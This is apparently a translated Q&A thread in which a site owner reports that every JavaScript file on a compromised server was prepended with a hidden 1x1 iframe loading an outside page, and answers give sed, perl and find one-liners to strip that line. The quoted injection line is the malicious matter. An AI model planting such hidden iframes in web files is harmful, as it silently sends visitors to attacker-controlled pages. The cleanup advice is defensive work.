Eri*_*ic 2 python bash scripting perl sed
问题:
我的网络服务器最近遭到入侵.他们针对javascript文件.他们插入了以下代码段
document.write('<iframe src="http://lcbmc.co.uk/showthread.php?t=31540750" width="1" height="1" frameborder="0"></iframe>')
Run Code Online (Sandbox Code Playgroud)
这被添加到服务器上每个.js文件的顶部.
解决方案:
编写一个脚本来打开我服务器上的每个javascript文件,检查恶意代码,删除恶意代码,最后保存文件.
问题:
脚本应该用什么编程语言编写?python会起作用吗?我在我的服务器上运行python 2.4.3.如果我在root下运行python脚本,我将不得不担心意外更改已修改文件的所有者权限?
谢谢
sed -i '1d;' *.js
Run Code Online (Sandbox Code Playgroud)
简单,并将从每个javascript文件中删除第一行.
你可以在python中做得更多,但是你在每个*.js文件中都说过第一行,不是吗?
更好的是,你可以考虑perl
python会起作用,但Python的灵魂不是一个简单的快速单行,对于这样的东西,快速无痛的单行是你想要的.
perl -pi.bak -e 's/^document.*lcbmc.*\n//g' *.js
Run Code Online (Sandbox Code Playgroud)
如果你在命令行运行它,它将匹配任何以document开头并包含lcbmc(包括\n - 新行)的行并完全删除该行.请注意,i.bak会创建所有内容的备份文件.bak.你可能会建议保留这个,因为你可能会"搞乱"
之后就跑了
rm -v *.js.bak
Run Code Online (Sandbox Code Playgroud)
UPDATE
根据评论我建议在*.js文件的目录中运行perl scripit,或使用find
find /startDir/ -iname '*.js' -exec perl -pi.bak -e 's/^document.*lcbmc.*\n//g' {} \;
Run Code Online (Sandbox Code Playgroud)
这将:
1.如果您指定正确的路径
2.在找到的({})文件上执行perl one-liner.
逃跑; (\;)用于将命令串在一起,
4.因此它将执行
perl -pi.bak -e 's/^document.*lcbmc.*\n//g' found-item-1.js; perl -pi.bak -e 's/^document.*lcbmc.*\n//g' found-item-2.js
等等...有些版本的find支持+你可以在下面的问题中观察行为:find \; VS +
注意:您可以使用find查找多个路径.
find /var/www/*.js /home/eric/.apache/*.js
Run Code Online (Sandbox Code Playgroud)
将在/ var/www /文件夹和〜/ .apache文件夹中找到具有*.js文件的文件.